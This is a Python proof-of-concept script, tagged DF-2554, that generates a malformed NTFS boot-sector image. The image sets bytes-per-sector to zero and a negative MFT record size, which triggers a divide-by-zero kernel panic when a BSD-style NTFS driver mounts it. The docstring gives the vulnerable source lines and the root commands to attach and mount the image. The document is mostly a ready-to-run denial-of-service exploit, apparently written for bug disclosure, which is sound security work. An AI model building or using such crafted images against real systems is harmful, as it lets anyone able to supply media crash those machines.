DF-2554 / gen_image.py
#!/usr/bin/env python3 """ DF-2554: NTFS divide-by-zero PoC image generator. Bug (sys/vfs/ntfs/ntfs_vfsops.c ntfs_mountfs): The boot sector (struct bootfile, packed, sys/vfs/ntfs/ntfs.h:223) is read from disk (bread at :327) and bcopy'd into ntm_bootfile (:331). The ONLY validation of the boot sector is an 8-byte magic check at :343 (strncmp(bf_sysid, "NTFS ", 8)). The bytes-per-sector field bf_bps (u_int16 at boot-sector offset 11) is NEVER validated. ntm_bps (== bf_bps) is then used as a DIVISOR at :354: int8_t cpr = ntmp->ntm_mftrecsz; if (cpr > 0) ntmp->ntm_bpmftrec = ntmp->ntm_spc * cpr; else ntmp->ntm_bpmftrec = (1 << (-cpr)) / ntmp->ntm_bps; // #DE if bps==0 A crafted image with bf_bps == 0 and bf_mftrecsz <= 0 (signed) reaches the else branch and divides by zero -> CPU #DE -> kernel panic at mount time. struct bootfile (packed) offsets: 0 reserved1[3] jmp near 3 bf_sysid[8] "NTFS " (must match NTFS_BBID) 11 bf_bps u16 bytes per sector <-- SET TO 0 13 bf_spc u8 sectors per cluster ... 48 bf_mftcn u64 $MFT cluster 56 bf_mftmirrcn u64 $MFTMirr cluster 64 bf_mftrecsz u8 MFT record size <-- SET TO 0xF6 (-10 signed) ... BBSIZE = 1024 (the bread size). Run (as root): kldload ntfs vnconfig /dev/vn0 evil.ntfs mount_ntfs -o ro /dev/vn0 /mnt # -> divide-by-zero panic """ import struct, sys BBSIZE = 1024 img = bytearray(BBSIZE) # 3-byte jmp near img[0:3] = b'\xEB\x52\x90' # 8-byte OEM/sysid magic (must equal NTFS_BBID "NTFS ") img[3:11] = b'NTFS ' # bytes per sector = 0 (offset 11, u16 LE) <-- the unvalidated divisor struct.pack_into('<H', img, 11, 0) # sectors per cluster = 1 (offset 13) -- nonzero, harmless img[13] = 1 # bf_mftrecsz = 0xF6 (-10 signed) -> cpr<=0 -> else branch -> div by ntm_bps(=0) img[64] = 0xF6 # leave bf_mftcn / bf_mftmirrcn / etc zero out = sys.argv[1] if len(sys.argv) > 1 else 'evil.ntfs' with open(out, 'wb') as f: f.write(img) print(f"[+] wrote {out} ({len(img)} bytes): bf_bps=0 bf_mftrecsz=0xF6(-10) bf_sysid='NTFS '") |